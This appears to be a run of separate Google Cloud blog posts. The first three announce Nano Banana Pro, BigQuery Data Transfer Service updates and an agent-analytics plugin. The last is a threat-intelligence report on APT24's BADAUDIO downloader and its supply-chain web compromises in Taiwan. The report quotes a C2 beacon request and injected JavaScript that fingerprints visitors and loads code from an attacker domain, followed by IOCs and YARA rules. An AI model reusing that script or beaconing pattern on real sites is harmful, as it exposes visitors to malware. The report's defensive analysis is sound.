Tibor Kiss

Earlier this year we launched Nano Banana (Gemini 2.5 Flash Image). It became the top rated image model in the world, and we were excited to see the overwhelming response from our customers. Nano Banana made it dramatically easier – and more fun – to edit images with natural language and make visuals with consistent characters.

Today, we’re announcing Nano Banana Pro (Gemini 3 Pro Image), our state-of-the art image generation and editing model, available starting today in Vertex AI and Google Workspace, and coming soon to Gemini Enterprise. Nano Banana Pro excels in visual design, world knowledge, and text generation, making it easier for enterprises to: 

1. Deploy localized global campaigns faster. The model supports text rendering in multiple languages. You can even take an image and translate the text inside it, so your creative work is ready for other countries immediately.

2. Create more accurate, context-rich visual assets. Because Nano Banana Pro connects to Google Search, it understands the real world context. This means you can generate maps, diagrams, and infographics that get the facts and details right — perfect for training manuals or technical guides where accuracy matters.

3. Maintain stronger creative control and brand fidelity. Keeping brand, product, or character consistency is often the biggest challenge when using AI for creative assets. Nano Banana Pro keeps your creative team in the driver’s seat with our expanded visual context window. Think of this as “few-shot prompting” for designers: by allowing you to upload up to 14 reference images, you can now load a full style guide simultaneously—including logos, color palettes, character turnarounds, and product shots. This ensures the model has the complete context needed to match your brand identity. Need to refine the result? Just describe the change using natural language to add, remove, or replace details. Nano Banana Pro supports up to 4K images for a higher level of detail and sharpness across multiple aspect ratios.

Nano Banana Pro and Nano Banana are designed to power a complete creative workflow. Start with Nano Banana for high-velocity ideation, then transition to Nano Banana Pro when you need the highest fidelity for production-ready assets. 

Supporting your commercial needs: Both models fall under our shared responsibility framework, and you can ensure transparency and responsible use with built-in SynthID watermarking on every generated asset. We’re committed to supporting your commercial needs with copyright indemnification coming at general availability.

Prompt: Translate all the English text on the three yellow and blue cans into Korean, while keeping everything else the same

Search grounding: Nano Banana Pro can use Google Search to research topics based on your query, and reason on how to present factual and grounded information.

Prompt: Create an infographic that shows how to make elaichi chai.

Advanced composition: Add up to 14 input reference images to combine elements, blend scenes, and transfer designs to create something entirely new. Nano Banana Pro maintains the quality of a developed asset but delivers it in minutes.

Prompt: Editorial style photo, female model is wearing jeans, yellow top with polka dots, headband, red heels, black bag on her arm. She is holding an iced matcha latte in one hand and in the other hand she is holding a leash on a chow chow dog. She is standing in front of the house in Beverly Hills, looking into the camera. Respect the overall aesthetic and color palette of the photo with the house. There is a white logo “Love Letters” with 10% opacity shadow in the lower left corner.

Advanced text rendering: Generate clear, accurate text within images, unlocking use cases for product mockups, posters, and educational diagrams. This could include natural text placement (e.g., wrapping text around an object) and support for various fonts and styles.

Prompt: Create an image showing the phrase “How much wood would a woodchuck chuck if a woodchuck could chuck wood” made out of wood chucked by a woodchuck.

Powering the platforms that power creatives

Nano Banana Pro is becoming an essential infrastructure layer for the creative economy, powering the design platforms that creatives rely on. By integrating our models directly into their workflows, we are helping industry leaders like Adobe, Figma, and Canva deliver next-generation AI capabilities. Here’s what they have to say about building on our foundation:

“With Google’s Nano Banana Pro now in Adobe Firefly and Photoshop, we’re giving creators and creative professionals yet another best-in-class image model they can tap into alongside Adobe’s powerful editing tools to turn ideas into high-impact content with full creative control. It’s an exciting step in our partnership with Google to help everyone create with AI.” — Hannah Elsakr, vice president, New Gen AI Business Ventures, Adobe

“Nano Banana Pro is a revolution for AI image editing. We’ve been surprised and amazed by its visual powers and prompt understanding. One key upgrade is its ability to translate and render text across multiple languages; which is very important as we work to empower the world to design anything at Canva.”  — Danny Wu, Head of AI Products at Canva

“With Nano Banana Pro in Figma, designers gain a tool that is creative and precise at the same time, producing perspective shifts, lighting changes, and full scene variations with dependable style and character consistency.” — Loredana Crisan, Chief Design Officer, Figma

“At Photoroom we serve some of the largest fashion marketplaces and retailers in the world, empowering brands to visualize future collections instantly and bring products to market faster. Leveraging Nano Banana Pro, we’ve enhanced our Virtual Fashion Model and Change Fabric Color workflow to make apparel transformation more flexible and realistic than ever.” — Matt Rouif, CEO, Photoroom

The world’s leading agencies and brands are delivering results

We’re moving from experimentation to enterprise-grade production, where efficiency and performance shine.

This model makes product-based image editing much easier. After testing multi-product swaps, it handled complex edits with impressive coherence and minimal prompt fuss. It’s incredibly scalable for creative teams who care about quality and speed. — Juliette Suvitha, Head of Creative at Pencil

“HubX is using Nano Banana Pro to edit, retouch, expand, and upscale photos with AI — delivering significant improvements in identity preservation, context awareness, and output resolution quality. It’s allowing anyone, regardless of technical background, to create professional-grade visuals effortlessly.” — Kaan Ortabas, Co-Founder, HubX

“The new Nano Banana Pro model has completely eliminated the friction between idea and execution. Imagination is now the only limitation. This newfound creative velocity isn’t just theory either, it’s already powering our marketing asset production.” — David Sandström, CMO, Klarna

Nano Banana Pro is a step forward in quality and can help us unlock even better image generation for merchants — Matthew Koenig, Senior Staff Product Manager, Shopify

“Our early Nano Banana Pro tests are impressive. It integrates smoothly into our pipeline and delivers noticeably better quality. Lighting feels real, scenes more natural, and product accuracy sharper. This is a meaningful step forward in visual content creation.” – Bryan Godwin, Director, Visual AI, Wayfair

“WPP received early access to Nano Banana Pro in WPP Open, through our expanded AI partnership.  The model has already impacted creative and production workflows, with tests performed for our clients such as Verizon allowing us to translate creative concepts to assets with speed and scale. Improvements in text fidelity and reasoning allow us to push the boundaries of Generative Media for more complex use cases, such as product infographics and localization. We’re so excited to bring the power of this model and our Google partnership to our shared clients.”  — Elav Horwitz, Chief Innovation Officer, WPP

Get started

We’re making Nano Banana Pro available where your teams already work, keeping you in the driver’s seat:

• For developers: You can start building with Nano Banana Pro in the Gemini API today in Vertex AI. For those building with Vertex AI, Nano Banana Pro is an enterprise-grade offering that includes Provisioned Throughput, Pay As You Go, and advanced safety filters.

• For business teams: Nano Banana is available in Gemini Enterprise with Nano Banana Pro coming soon. Gemini Enterprise is our advanced agentic platform that brings the best of Google AI to every employee, for every workflow. And, starting today, Nano Banana Pro is rolling out to Google Workspace customers in Google Slides, Vids, the Gemini app, and NotebookLM — learn more.

With BigQuery, our goal is to allow you to extract valuable insights from your data, regardless of how much there is, or where it’s from. A key part of how we do this is our BigQuery Data Transfer Service, which automates and streamlines data loading into BigQuery from a wide variety of sources.

As a fully managed service, BigQuery Data Transfer Service offers a variety of benefits:

• Simplicity: Eliminate the need for infrastructure management or complex coding. Whether you use the UI, API, or CLI, getting started with data loading is easy.

• Scalability: Used by tens of thousands of customers each month, Data Transfer Service easily handles massive data volumes and high numbers of concurrent users, accommodating demanding data transfer jobs.

• Security: Your data’s safety is paramount. Data Transfer Service employs robust security measures like encryption, authentication, and authorization. And as you’ll see below, we’ve significantly expanded its ability to support regulated workloads without compromising ease of use.

• Cost-effectiveness: Many first-party connectors, like those for Google Ads and YouTube, are provided at no cost. And for a growing list of third-party connectors, we offer consumption-based pricing that’s highly price-competitive, so you can unify your data cost-effectively.

Based on your feedback, we expanded the BigQuery Data Transfer Service connector ecosystem, enhancing security and compliance, and improving the overall user experience. Let’s dive into the latest updates.

Key feature updates

Expanded data connectivity

We are thrilled to announce that several highly-requested connectors are now generally available:

• Oracle: Integrate your key operational databases with BigQuery for enhanced analysis and reporting.

• Salesforce and ServiceNow: Build unified customer profiles and bring in your IT service management data to gain operational insights.

• Salesforce Marketing Cloud (SFMC) and Facebook Ads: Ingest your marketing and analytics data into BigQuery for comprehensive analysis and campaign optimization.

• Google Analytics 4 (GA4): A major milestone for your marketing analytics, now you can build production marketing analysis pipelines with GA4 data.

These new additions join the quickly growing list of existing connectors, including Amazon S3, Amazon Redshift, Azure Blob Storage, Campaign Manager, Cloud Storage, Comparison Shopping Service (CSS) Center, Display & Video 360, Google Ad Manager, Google Ads, Google Merchant Center, Google Play, MySQL, PostgreSQL, Search Ads 360, Teradata, YouTube Channel, and YouTube Content Owner.

New connectors in preview

We are also excited to launch new connectors in preview, further expanding our ecosystem:

• Stripe and PayPal: Ingest financial and transaction data into BigQuery for revenue analysis, refund tracking, and customer behavior insights.

• Snowflake (migration connector): Migrate your data from Snowflake with features like key pair authentication, auto schema detection, and support for migrating data residing on all three major clouds (Google Cloud, AWS, and Azure).

• Hive managed tables (migration connector): This connector supports Metadata and Tables migration for Hive and Iceberg from on-prem and self-hosted cloud Hadoop environments to Google Cloud. This lets you perform one-time migrations and synchronize incremental updates of Hive and Iceberg tables, with Iceberg tables being registered with BigLake metastore, and Iceberg and Hive tables registered with Dataproc Metastore.

Enhancements to existing connectors and platform capabilities

• Google Cloud Storage: We are excited to announce the GA of event-driven transfers. Now, your data transfers can trigger automatically the moment a new file arrives in your Cloud Storage bucket, for near-real-time data pipelines.

• Salesforce: CRM users get an efficiency boost with incremental ingestion now available in preview. Data Transfer Service now intelligently loads only new or modified records, saving time and compute resources. 

• SA360: The recently updated Search Ads 360 connector now includes full support for Performance Max (PMax) campaigns, so you can analyze data from Google’s latest campaign types.

• Google Ad Manager: We improved data freshness for the Google Ad Manager connector by rolling out incremental updates for DT files. Google Ad Manager adds the Google Ad Manager DT files into the Cloud Storage bucket. A transfer run then incrementally loads the new Google Ad Manager DT files from the Cloud Storage bucket into the BigQuery table without reloading files that have already been transferred.

• Google Ads: We launched custom reports for Google Ads GA, so you can use Google Ads Query Language (GAQL) queries in your transfer configuration to ingest custom Google Ads reports and fields beyond those available in the standard reports and fields.

• Oracle: We significantly enhanced the Oracle connector to support the ingestion of tables containing millions of records, ensuring that even your largest and most critical datasets can be transferred to BigQuery.

Enhanced security and compliance

To continue to meet your stringent security and compliance needs, we’re also investing in our infrastructure.

• Access transparency: Along with BigQuery, we’ve extended Data Transfer Service administrative access controls to customer-identifiable metadata. Administrative access controls (access transparency, access approval, and personnel controls) is a feature of Cloud services that gives customers real-time notifications of when, why, and how Google personnel access their user content. This new capability applies access transparency controls to reads of customer-defined attributes and any customer service configuration that may be used to identify the customer or customer workloads.

• EU Data Boundary: We are excited to announce GA of Data Transfer Service for EU Data Boundary and Sovereign Controls compliance programs in the EU, including EU regions support with Data Boundary with Access Justifications and Sovereign Controls by Partners. This enables customers to expand their workloads on Google Cloud in regulated markets.

• FedRAMP High: We successfully implemented the security controls required to launch Data Transfer Service into the FedRAMP High compliance regime. This will allow U.S. government, civilian agencies, and contractors to expand their adoption of FedRAMP High regulated workloads on Google Cloud.

• CJIS Compliance: We launched BigQuery Data Transfer Service for Criminal Justice Information Services (CJIS) compliance. Data Transfer Service now meets the security standards of the CJIS Security Policy, enabling U.S. state, local, and tribal law enforcement and criminal justice organizations to handle sensitive information using our service.

• Custom organization policies: We announced the GA of custom organization policies so you can allow or deny specific operations on Data Transfer Service transfer configurations, to help meet your organization’s compliance and security requirements.

• Regional endpoints: We enabled regional endpoints for the Data Transfer Service API. Regional endpoints are request endpoints that ensure requests are only processed if the resource exists in the specified location. This way, workloads can comply with data residency and data sovereignty requirements by maintaining data at rest and in transit within the specified location.

• Key tracking: You can now use key usage tracking to see which storage resources are protected by each of your Cloud KMS keys. For more information, learn how to view key usage.

• Proactive threat mitigation: We recently completed a detailed, proactive threat modeling exercise for the entire BigQuery Data Transfer Service. This in-depth review allowed us to identify and mitigate high-priority security risks, further hardening the platform against potential threats.

An intuitive and unified user experience

We’ve made significant investments to the BigQuery user experience to make data ingestion simpler and more intuitive.

The “Add Data” experience in the BigQuery UI now provides a single, simplified entry point to guide you through the data-loading process. Whether you’re a seasoned data engineer or a new analyst, this wizard-like workflow makes it easy to discover and configure transfers from any source, removing the guesswork and getting you to insights faster.

Finally, to further streamline the setup process, the BigQuery Data Transfer Service API is now enabled by default for new BigQuery projects. This removes a manual step, so that data transfer capabilities are immediately available to everyone getting started with BigQuery.

A new, consumption-based pricing model

As we graduate more third-party connectors from preview to GA, we  introduced a new pricing model that reflects their status as fully supported, production-ready services.

This new consumption-based model applies to our third-party SaaS and database connectors (e.g., Salesforce, Facebook Ads, Oracle, MySQL, and others) and takes effect only when a specific connector becomes generally available.

Key details of the model:

• Free in preview: All connectors remain completely free of charge during the preview phase. This allows you to test, experiment, and validate new integrations without any financial commitment.

• Competitive pricing: Pricing is highly competitive, to help you feel comfortable loading data from critical sources.

• Consumption-based: You are billed based on the compute resources consumed by your data transfers, measured in slot-hours.

This change allows us to continue investing in building a robust and scalable data transfer platform. For more detailed information, please visit the official BigQuery pricing page.

Looking ahead

The journey continues! We are committed to building features that streamline your data pipelines and unlock new levels of insight. As you can see from the extensive new list of connectors in preview, we are continuing to innovate rapidly in migration, marketing analytics, operational databases, and enterprise applications.

Experience the power of BigQuery Data Transfer Service for yourself. Simplify your data loading process and accelerate your time to insights. Want to stay informed about the BigQuery Data Transfer Service? Join our email group for future product announcements and updates at https://groups.google.com/g/bigquery-dts-announcements. 

We also encourage readers to share their feedback and file feature requests via the public issue tracker, specifically by Creating a new BigQuery issue.

In a world of agentic AI, building an agent is only half the battle. The other half is understanding how users are interacting with it. What are their most common requests? Where do they get stuck? What paths lead to successful outcomes? Answering these questions is the key to refining your agent and delivering a better user experience. These insights are also super critical for optimizing agent performance.

Today, we’re making it easier for agent developers in Google’s Agent Development Kit (ADK) to answer these questions. With a single line of code, ADK developers can stream agent interaction data directly to BigQuery and get insights into their agent activity in a scalable manner. To do so, we are introducing BigQuery Agent Analytics, a new plugin for ADK that exports your agent’s interaction data directly into BigQuery to capture, analyze, and visualize agent performance, user interaction, and cost.

With your agent interaction data centralized in BigQuery, analyzing critical metrics such as latency, token consumption, and tool usage is straightforward. Creating custom dashboards in tools like Looker Studio or Grafana is easy. Furthermore, you can leverage cutting-edge BigQuery capabilities including generative AI functions, vector search, and embedding generation, to perform sophisticated analysis. This enables you to cluster agent interactions, precisely gauge agent performance, and rapidly pinpoint common user queries or systemic failure patterns — all of which are essential for refining the agent experience. You can also join interaction data with relevant business datasets — for instance, linking support agent interactions with CSAT scores — to accurately measure the agent’s real-world impact. This entire capability is unlocked with a minimal code change.

This plugin is available in preview for ADK users today, with support for other agent frameworks soon to follow.

See the plugin in action in the following video.

Understanding BigQuery Agent Analytics

The BigQuery Agent Analytics plugin is a very lightweight way of streaming various agent activity data directly to your BigQuery table. It consists of three main components:

• ADK Plugin: With a single line of code, the new ADK plugin can stream agent activity like requests, responses, LLM tool calls, etc. to a BigQuery table.

• Predefined BigQuery schema: We provide an optimized table schema out-of-the-box that stores rich details about user interactions, agent responses, and tool usage.

• Low-cost, high-performance streaming: The plugin uses the BigQuery Storage Write API to stream events directly to BigQuery in real-time.

Why it matters: Data-driven agent development

By integrating your agent’s analytic data in BigQuery, you can go from viewing basic metrics to generating deep, actionable insights. Specifically, this integration lets you:

• Visualize agent usage and interactions: Gain a clear understanding of your agent’s performance. Easily track key operational metrics like token consumption and tool usage to monitor costs and resource allocation. 

• Evaluate agent quality with advanced AI: Go beyond simple metrics by using BigQuery’s advanced AI capabilities. Leverage AI functions and vector search to perform quality analysis on conversation data, identifying areas for improvement with greater precision. 

• Learn by conversing with your agent data: Create a conversational data agent that works directly with your new observability data. This allows you and your team to ask questions about your agent activity in natural language and get immediate insights, without writing complex queries. 

How It works

We’ve designed the process of setting up robust analytics pipeline to be as simple as possible:

1. Add the required code: This plugin requires use of ADK’s application(apps) component when building the agent. The following code demonstrates how to initialize the new plugin and make it part of your app.

2. Choose what to stream and customize pre-processing: You have full control over what data you send to BigQuery. Choose the specific events you want to stream, so that you only capture the data that is most relevant to your needs. The following code example redacts dollar amounts before logging.

And that’s it — the plugin handles the rest, including auto-creating the necessary BigQuery table with the correct schema, and streaming the agent data in real-time. 

Now you are ready to analyze your agent metrics, using familiar BigQuery semantics. Here is an illustration of your logs as they appear in the BigQuery table using a “select * limit 10” on non-empty columns.

Get started today

It’s time to unlock the full potential of your agents. With the new BigQuery Agent Analytics you can answer critical usage questions to refine your agent, optimize performance, and deliver a superior user experience.There is more to come in the near future, including integration with LangGraph to advanced analysis for multimodal agent interactions.

To get started, check out the Google Cloud BigQuery Agent Analytics documentation on the Google ADK site. For a guided walkthrough on using this plugin, we invite you to explore our comprehensive new codelab.

We’re excited to see the amazing, data-driven conversational experiences you build.

Written by: Harsh Parashar, Tierra Duncan, Dan Perez

Google Threat Intelligence Group (GTIG) is tracking a long-running and adaptive cyber espionage campaign by APT24, a People’s Republic of China (PRC)-nexus threat actor. Spanning three years, APT24 has been deploying BADAUDIO, a highly obfuscated first-stage downloader used to establish persistent access to victim networks.

While earlier operations relied on broad strategic web compromises to compromise legitimate websites, APT24 has recently pivoted to using more sophisticated vectors targeting organizations in Taiwan. This includes the repeated compromise of a regional digital marketing firm to execute supply chain attacks and the use of targeted phishing campaigns.

This report provides a technical analysis of the BADAUDIO malware, details the evolution of APT24’s delivery mechanisms from 2022 to present, and offers actionable intelligence to help defenders detect and mitigate this persistent threat.

As part of our efforts to combat serious threat actors, GTIG uses the results of our research to improve the safety and security of Google’s products and users. Upon discovery, all identified websites, domains, and files are added to the Safe Browsing blocklist in order to protect web users across major browsers. We also conducted a series of victim notifications with technical details to compromised sites, enabling affected organizations to secure their sites and prevent future infections.

Payload Analysis: BADAUDIO and Cobalt Strike Beacon Integration

The BADAUDIO malware is a custom first-stage downloader written in C++ that downloads, decrypts, and executes an AES-encrypted payload from a hard-coded command and control (C2) server. The malware collects basic system information, encrypts it using a hard-coded AES key, and sends it as a cookie value with the GET request to fetch the payload. The payload, in one case identified as Cobalt Strike Beacon, is decrypted with the same key and executed in memory.

GET https://wispy[.]geneva[.]workers[.]dev/pub/static/img/merged?version=65feddea0367 HTTP/1.1
Host: wispy[.]geneva[.]workers[.]dev
Cookie: SSID=0uGjnpPHjOqhpT7PZJHD2WkLAxwHkpxMnKvq96VsYSCIjKKGeBfIKGKpqbRmpr6bBs8hT0ZtzL7/kHc+fyJkIoZ8hDyO8L3V1NFjqOBqFQ==
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

--------------------------

GET
cfuvid=Iewmfm8VY6Ky-3-E-OVHnYBszObHNjr9MpLbLHDxX056bnRflosOpp2hheQHsjZFY2JmmO8abTekDPKzVjcpnedzNgEq2p3YSccJZkjRW7-mFsd0-VrRYvWxHS95kxTRZ5X4FKIDDeplPFhhb3qiUEkQqqgulNk_U0O7U50APVE
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: Keep-Alive
Cache-Control: no-cache

Figure 2: BADAUDIO code sample

The malware is engineered with control flow flattening—a sophisticated obfuscation technique that systematically dismantles a program’s natural, structured logic. This method replaces linear code with a series of disconnected blocks governed by a central “dispatcher” and a state variable, forcing analysts to manually trace each execution path and significantly impeding both automated and manual reverse engineering efforts.

BADAUDIO typically manifests as a malicious Dynamic Link Library (DLL) leveraging DLL Search Order Hijacking (MITRE ATT&CK T1574.001) for execution via legitimate applications. Recent variants observed indicate a refined execution chain: encrypted archives containing BADAUDIO DLLs along with VBS, BAT, and LNK files. 

These supplementary files automate the placement of the BADAUDIO DLL and a legitimate executable into user directories, establish persistence through legitimate executable startup entries, and trigger the DLL sideloading. This multi-layered approach to execution and persistence minimizes direct indicators of compromise.

Upon execution, BADAUDIO collects rudimentary host information: hostname, username, and system architecture. This collected data is then hashed and embedded within a cookie parameter in the C2 request header. This technique provides a subtle yet effective method for beaconing and identifying compromised systems, complicating network-based detection.

In one of these cases, the subsequent payload, decrypted using a hard-coded AES key, has been confirmed as Cobalt Strike Beacon. However, it is not confirmed that Cobalt Strike is present in every instance. The Beacon payload contained a relatively unique watermark that was previously observed in a separate APT24 campaign, shared in the Indicators of Compromise section. Cobalt Strike watermarks are a unique value generated from and tied to a given “CobaltStrike.auth” file. This value is embedded as the last 4 bytes for all BEACON stagers and in the embedded configuration for full backdoor BEACON samples.

Campaign Overview: BADAUDIO Delivery Evolves

Over three years, APT24 leveraged various techniques to deliver BADAUDIO, including strategic web compromises, repeated supply-chain compromise of a regional digital marketing firm in Taiwan, and spear phishing.

Public Strategic Web Compromise Campaign

Beginning in November 2022 we observed over 20 compromised websites spanning a broad array of subjects from regional industrial concerns to recreational goods, suggesting an opportunistic approach to initial access with true targeting selectively executed against visitors the attackers identified via fingerprinting. The legitimate websites were weaponized through the injection of a malicious JavaScript payload.

This script exhibited an initial layer of targeting, specifically excluding macOS, iOS, Android, and various Microsoft Internet Explorer/Edge browser variants to focus exclusively on Windows systems. This selectivity suggests an adversary immediately narrowing their scope to optimize for a specific, likely high-value, victim profile.

The injected JavaScript performed a critical reconnaissance function by employing the FingerprintJS library to generate a unique browser fingerprint. This fingerprint, transmitted via an HTTP request to an attacker-controlled domain, served as an implicit validation mechanism. Upon successful validation, the victim was presented with a fabricated pop-up dialog, engineered to trick the user into downloading and executing BADAUDIO malware.

$(window).ready(function() {
    var userAgent = navigator.userAgent;
    var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1;
    var isEdge = userAgent.indexOf("Edge") > -1 && !isIE;
    var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
    var isMac = userAgent.indexOf('Macintosh') > -1;
    var isiPhone = userAgent.indexOf('iPhone') > -1;
    var isFireFox = userAgent.indexOf('Firefox') > -1;
    if (!isIE && !isEdge && !isIE11 && !isMac && !isiPhone && !isFireFox) {
        var tag_script = document.createElement("script");
        tag_script.type = "text/javascript";
        tag_script.src = "https://cdn.jsdelivr.net/npm/@fingerprintjs/fingerprintjs@2/dist/fingerprint2.min.js";
        tag_script.onload = "initFingerprintJS()";
        document.body.appendChild(tag_script);
        if (typeof(callback) !== "undefined") {
            tag_script.onload = function() {
                callback();
            }
        }
        function callback() {
            var option = {
                excludes: {
                    screenResolution: true,
                    availableScreenResolution: true,
                    enumerateDevices: true
                }
            }
            new Fingerprint2.get(option, function(components) {
                var values = components.map(function(component) {
                    return component.value
                })
                var murmur = Fingerprint2.x64hash128(values.join(''), 31);
                console.log(murmur)
                var script_tag = document.createElement("script");
                script_tag.setAttribute("src", "https://www[.]twisinbeth[.]com/query.php?id=" + murmur);
                document.body.appendChild(script_tag);
            });
        }
    }
});

Figure 6: Early malicious fingerprinting JS used in strategic web compromise campaigns

The attackers consistently shift their infrastructure, using a mix of newly registered domains and domains they have previously compromised. We last observed this tactic in early September 2025.

Escalation: Supply Chain Compromise for Strategic Web Compromises at Scale 

In July 2024, APT24 compromised a regional digital marketing firm in Taiwan- a supply chain attack that impacted more than 1,000 domains. Notably, the firm experienced multiple re-compromises over the last year, demonstrating APT24’s persistent commitment to the operation.

We initiated a multifaceted remediation effort to disrupt these threats. In addition to developing custom logic to identify and block the modified, malicious JavaScript, GTIG distributed victim notifications to the individual compromised websites and the compromised marketing firm. These notifications provided specific details about the threat and the modifications made to the original script, enabling affected organizations to secure their sites and prevent future infections.

In the first iteration of the supply chain compromise, APT24 injected the malicious script into a widely used JavaScript library (MITRE ATT&CK T1195.001) provided by the firm, leveraging a typosquatting domain to impersonate a legitimate Content Delivery Network (CDN). The deobfuscated JavaScript reveals a multi-stage infection chain:

• Dynamic Dependency Loading: The script dynamically loads legitimate jQuery and FingerprintJS2 libraries (MITRE ATT&CK T1059.007) from a public CDN if not already present, ensuring consistent execution across diverse web environments.

• Multi-Layer JS Concealment: During a re-compromise discovered in July 2025, the adversary took additional steps to hide their malicious code. The highly obfuscated script (MITRE ATT&CK T1059) was deliberately placed within a maliciously modified JSON file served by the vendor, which was then loaded and executed by another compromised JavaScript file. This tactic effectively concealed the final payload in a file type and structure not typically associated with code execution.

• Advanced Fingerprinting: FingerprintJS2 is utilized to generate an x64hash128 browser and environmental fingerprint (MITRE ATT&CK T1082) . The x64hash128 is the resulting 128-bit hash value produced by the MurmurHash3 algorithm, which processes a large input string of collected browser characteristics (such as screen resolution, installed fonts, and GPU details) to create a unique, consistent identifier for the user’s device.

• Covert Data Exfiltration and Staging: A POST request, transmitting Base64-encoded reconnaissance data (including host, url, useragent, fingerprint, referrer, time, and a unique identifier), is sent to an attacker’s endpoint (MITRE ATT&CK T1041). 

• Adaptive Payload Delivery: Successful C2 responses trigger the dynamic loading of a subsequent script from a URL provided in the response’s data field. This cloaked redirect leads to BADAUDIO landing pages, contingent on the attacker’s C2 logic and fingerprint assessment (MITRE ATT&CK T1105).

• Tailored Targeting: The compromise in June 2025 initially employed conditional script loading based on a unique web ID (the specific domain name) related to the website using the compromised third-party scripts. This suggests tailored targeting, limiting the strategic web compromise (MITRE ATT&CK T1189) to a single domain. However, for a ten-day period in August, the conditions were temporarily lifted, allowing all 1,000 domains using the scripts to be compromised before the original restriction was reimposed.

Targeted Phishing Campaigns

Complementing their broader web-based attacks, APT24 concurrently conducted highly targeted social engineering campaigns. Lures, such as an email purporting to be from an animal rescue organization, leveraged social engineering to elicit user interaction and drive direct malware downloads from attacker-controlled domains.

Separate campaigns abused legitimate cloud storage platforms including Google Drive and OneDrive to distribute encrypted archives containing BADAUDIO. Google protected users by diverting these messages to spam, disrupting the threat actor’s effort to leverage reputable services in their campaigns.

APT24 included pixel tracking links, confirming email opens and potentially validating target interest for subsequent exploitation. This dual-pronged approach—leveraging widely trusted cloud services and explicit tracking—enhances their ability to conduct effective, personalized campaigns.

Outlook

This nearly three-year campaign is a clear example of the continued evolution of APT24’s operational capabilities and highlights the sophistication of PRC-nexus threat actors. The use of advanced techniques like supply chain compromise, multi-layered social engineering, and the abuse of legitimate cloud services demonstrates the actor’s capacity for persistent and adaptive espionage. 

This activity follows a broader trend GTIG has observed of PRC-nexus threat actors increasingly employing stealthy tactics to avoid detection. GTIG actively monitors ongoing threats from actors like APT24 to protect users and customers. As part of this effort, Google continuously updates its protections and has taken specific action against this campaign.

We are committed to sharing our findings with the security community to raise awareness and to disrupt this activity. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Acknowledgements 

This analysis would not have been possible without the assistance from FLARE. We would like to specifically thank Ray Leong, Jay Gibble and Jon Daniels for their contributions to the analysis and detections for BADAUDIO.

Indicators of Compromise

A Google Threat Intelligence (GTI) collection of related IOCs is available to registered users.

Strategic Web Compromise JS

88fa2b5489d178e59d33428ba4088d114025acd1febfa8f7971f29130bda1213
032c333eab80d58d60228691971d79b2c4cd6b9013bae53374dd986faa0f3f4c
ae8473a027b0bcc65d1db225848904e54935736ab943edf3590b847cb571f980
0e98baf6d3b67ca9c994eb5eb9bbd40584be68b0db9ca76f417fb3bcec9cf958
55e02a81986aa313b663c3049d30ea0158641a451cb8190233c09bef335ef5c7

Strategic Web Compromise — Modified Supplier JS

07226a716d4c8e012d6fabeffe2545b3abfc0b1b9d2fccfa500d3910e27ca65b
5c37130523c57a7d8583c1563f56a2e2f21eef5976380fdb3544be62c6ad2de5
1f31ddd2f598bd193b125a345a709eedc3b5661b0645fc08fa19e93d83ea5459
c4e910b443b183e6d5d4e865dd8f978fd635cd21c765d988e92a5fd60a4428f5
2ea075c6cd3c065e541976cdc2ec381a88b748966f960965fdbe72a5ec970d4e

BADAUDIO Binaries

9ce49c07c6de455d37ac86d0460a8ad2544dc15fb5c2907ed61569b69eefd182
d23ca261291e4bad67859b5d4ee295a3e1ac995b398ccd4c06d2f96340b4b5f8
cfade5d162a3d94e4cba1e7696636499756649b571f3285dd79dea1f5311adcd
f086c65954f911e70261c729be2cdfa2a86e39c939edee23983090198f06503c
f1e9d57e0433e074c47ee09c5697f93fde7ff50df27317c657f399feac63373a
176407b1e885496e62e1e761bbbb1686e8c805410e7aec4ee03c95a0c4e9876f
c7565ed061e5e8b2f8aca67d93b994a74465e6b9b01936ecbf64c09ac6ee38b9
83fb652af10df4574fa536700fa00ed567637b66f189d0bbdb911bd2634b4f0e

Strategic Web Compromise — Stage 2

www[.]availableextens[.]com
www[.]twisinbeth[.]com
www[.]decathlonm[.]com
www[.]gerikinage[.]com
www[.]p9-car[.]com
www[.]growhth[.]com
www[.]brighyt[.]com
taiwantradoshows[.]com
jsdelivrs[.]com

BADAUDIO C2

clients[.]brendns.workers[.]dev
www[.]cundis[.]com
wispy[.]geneva[.]workers[.]dev
www[.]twisinbeth[.]com
tradostw[.]com
jarzoda[.]net
trcloudflare[.]com
roller[.]johallow.workers[.]dev

Cobalt Strike Beacon Watermark

Watermark_Hash: BeudtKgqnlm0Ruvf+VYxuw==

YARA Rules

rule G_Downloader_BADAUDIO_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$string_decode = { 0F 28 [1-5] 0F 29 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 28 ?? 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 57 ?? 0F 2? [1-5] 0F 2? [1-5] 0F 2? }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
	condition:
		uint16(0) == 0x5a4d and all of them and #string_decode > 2 and #control_flow_obfuscation > 2
}

rule G_Downloader_BADAUDIO_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$c_string_decode = { C5 F8 28 [1-24] C5 F8 57 [1-8] 0F 94 [4-128] C5 F8 29 [1-64] C5 F8 29 [1-24] C5 F8 57 [1-8] 0F 94 }
		$s1 = "SystemFunction036" fullword
		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
		$c_part_of_control_flow_obfuscation_and_string_decode = { C5 F8 28 [1-5] 8B 46 ?? C5 F8 57 40 }
	condition:
